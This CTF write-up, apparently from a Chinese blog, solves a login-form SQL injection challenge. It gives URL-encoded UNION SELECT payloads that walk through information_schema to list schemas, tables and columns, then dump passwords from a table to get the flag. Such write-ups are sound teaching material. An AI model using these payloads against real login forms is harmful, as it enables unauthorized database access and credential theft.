0x00 知识点

1:万能密码登陆

2:登陆后直接使用联合查询注入

0x01解题

登陆后进行简单测试发现是字符型注入

order by 测试数据库有多少字段

发现在4的时候报错,没有过滤,直接进行注入

注入数据库:

admin'union+select+1,2,group_concat(schema_name)+from+information_schema.schemata#

查询数据表

username=admin&password=admin'%20union%20select%201%2C2%2Cgroup_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%3Ddatabase()%20%23
```![](https://img2018.cnblogs.com/blog/1625650/202001/1625650-20200127203623412-351579050.png) **查询数据表中的列:**

username=admin&password=admin%27%20union%20select%201%2C2%2Cgroup_concat(column_name)%20from%20information_schema.columns%20where%20table_schema%3Ddatabase()%20%23



**查询数据**

username=admin&password=admin'%20union%20select%201%2C2%2Cgroup_concat(password)%20from%20l0ve1ysq1%23



**查看源代码得到flag.**

最新文章

  1. Unity中使用Attribute
  2. JavaScript作用域原理(三)——作用域根据函数划分
  3. HDU 5033 Building
  4. linux装载可执行程序简析
  5. C#通过代码注册COM组件
  6. Xcode中的iOS工程模板
  7. storm实战总结笔记
  8. dfs学习总结
  9. 你不知道的JavaScript--Item27 异步编程异常解决方案
  10. pytroch 0.3 到 0.4版本迁移资料mark
  11. C#中,重新排列panel中的按钮
  12. Illegalmixofcollations (utf8_unicode_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT)foroperation '= 连表查询排序规则问题
  13. UML介绍--用例图
  14. stm32的swd接口的烧写协议是否公开的呢?
  15. GVIM设置背景颜色
  16. js小工具---本地图片转换为base64编码数据
  17. [LeetCode 题解]: ZigZag Conversion
  18. InternalError: (pymysql.err.InternalError) (1205, u'Lock wait timeout exceeded; try restarting transaction')
  19. 浏览器 UserAgent
  20. 分享知识-快乐自己:Liunx-大数据(Hadoop)初始化环境搭建

热门文章

  1. 十九、React UI框架Antd(Ant Design)的使用——及react Antd的使用 button组件 Icon组件 Layout组件 DatePicker日期组件
  2. linux下nginx的安装和配置
  3. ubuntu下pip的安装、升级和使用
  4. Linux系统下的/etc/nsswitch.conf文件
  5. 【转】R语言函数总结
  6. matlab和fortran混合编程
  7. 093-PHP数组比较
  8. 留学生如何完成一篇高质量的Essay?
  9. Assignment写作谨慎学术抄袭是关键
  10. Spring框架模块